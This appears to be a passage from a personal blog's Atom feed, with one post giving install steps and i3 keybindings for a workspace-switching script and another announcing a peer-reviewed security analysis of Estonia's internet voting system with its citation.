I used &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ziberna&#x2F;i3-py&quot;&gt;i3-py&lt;&#x2F;a&gt; to communicate with i3 via the IPC interface, which you can install with &lt;a href=&quot;https:&#x2F;&#x2F;pip.pypa.io&#x2F;en&#x2F;latest&#x2F;&quot;&gt;pip&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;example-install&quot;&gt;Example Install&lt;a class=&quot;zola-anchor&quot; href=&quot;#example-install&quot; aria-label=&quot;Anchor link for: example-install&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Download script&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;cd ~&#x2F;.i3
&lt;&#x2F;span&gt;&lt;span&gt;git clone https:&#x2F;&#x2F;github.com&#x2F;tmfink&#x2F;i3-wk-switch.git
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Add keybindings to your i3 config (for me it&#x27;s &lt;code&gt;~&#x2F;.i3&#x2F;config&lt;&#x2F;code&gt;)&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;# Switch to workspace like xmonad
&lt;&#x2F;span&gt;&lt;span&gt;set $x_switch exec --no-startup-id ~&#x2F;.i3&#x2F;i3-wk-switch&#x2F;i3-wk-switch.py
&lt;&#x2F;span&gt;&lt;span&gt;bindsym $mod+1 $x_switch 1
&lt;&#x2F;span&gt;&lt;span&gt;bindsym $mod+2 $x_switch 2
&lt;&#x2F;span&gt;&lt;span&gt;bindsym $mod+3 $x_switch 3
&lt;&#x2F;span&gt;&lt;span&gt;bindsym $mod+4 $x_switch 4
&lt;&#x2F;span&gt;&lt;span&gt;bindsym $mod+5 $x_switch 5
&lt;&#x2F;span&gt;&lt;span&gt;bindsym $mod+6 $x_switch 6
&lt;&#x2F;span&gt;&lt;span&gt;bindsym $mod+7 $x_switch 7
&lt;&#x2F;span&gt;&lt;span&gt;bindsym $mod+8 $x_switch 8
&lt;&#x2F;span&gt;&lt;span&gt;bindsym $mod+9 $x_switch 9
&lt;&#x2F;span&gt;&lt;span&gt;bindsym $mod+0 $x_switch 10
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;link&quot;&gt;Link&lt;a class=&quot;zola-anchor&quot; href=&quot;#link&quot; aria-label=&quot;Anchor link for: link&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tmfink&#x2F;i3-wk-switch&quot;&gt;Github Repo&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Estonia Internet Voting</title>
        <published>2014-11-03T00:00:00+00:00</published>
        <updated>2014-11-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://travisf.net/blog/estonia-ivoting/"/>
        <id>https://travisf.net/blog/estonia-ivoting/</id>
        
        <content type="html" xml:base="https://travisf.net/blog/estonia-ivoting/">&lt;p&gt;We investigated the security of Estonia&#x27;s Internet elections assuming a state-level adversary.
I wrote the proof-of-concept client malware that is able to silently steal votes.&lt;&#x2F;p&gt;
&lt;p&gt;The project website is &lt;a href=&quot;https:&#x2F;&#x2F;estoniaevoting.org&#x2F;&quot;&gt;https:&#x2F;&#x2F;estoniaevoting.org&#x2F;&lt;&#x2F;a&gt;.
You can see read our peer-reviewed paper at &lt;a href=&quot;https:&#x2F;&#x2F;estoniaevoting.org&#x2F;findings&#x2F;paper&#x2F;&quot;&gt;https:&#x2F;&#x2F;estoniaevoting.org&#x2F;findings&#x2F;paper&#x2F;&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;div class=&quot;embed-responsive embed-responsive-16by9&quot;&gt;
&lt;iframe width=&quot;1280&quot; height=&quot;720&quot; src=&quot;&#x2F;&#x2F;www.youtube.com&#x2F;embed&#x2F;iit5WdLYwns&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;&#x2F;iframe&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;bibtex&quot;&gt;BibTeX:&lt;a class=&quot;zola-anchor&quot; href=&quot;#bibtex&quot; aria-label=&quot;Anchor link for: bibtex&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;@InProceedings{ivoting-ccs2014,
&lt;&#x2F;span&gt;&lt;span&gt;  author =       {Drew Springall and Travis Finkenauer and
&lt;&#x2F;span&gt;&lt;span&gt;                  Zakir Durumeric and Jason Kitcat and
&lt;&#x2F;span&gt;&lt;span&gt;                  Harri Hursti and Margaret MacAlpine and
&lt;&#x2F;span&gt;&lt;span&gt;                  J. Alex Halderman},
&lt;&#x2F;span&gt;&lt;span&gt;  title =        {Security Analysis of the {E}stonian
&lt;&#x2F;span&gt;&lt;span&gt;                  {I}nternet Voting System},
&lt;&#x2F;span&gt;&lt;span&gt;  booktitle =    {Proceedings of the 21st ACM Conference on
&lt;&#x2F;span&gt;&lt;span&gt;                  Computer and Communications Security},
&lt;&#x2F;span&gt;&lt;span&gt;  year =         2014,
&lt;&#x2F;span&gt;&lt;span&gt;  month =        nov,
&lt;&#x2F;span&gt;&lt;span&gt;  organization = {ACM}
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
</feed>
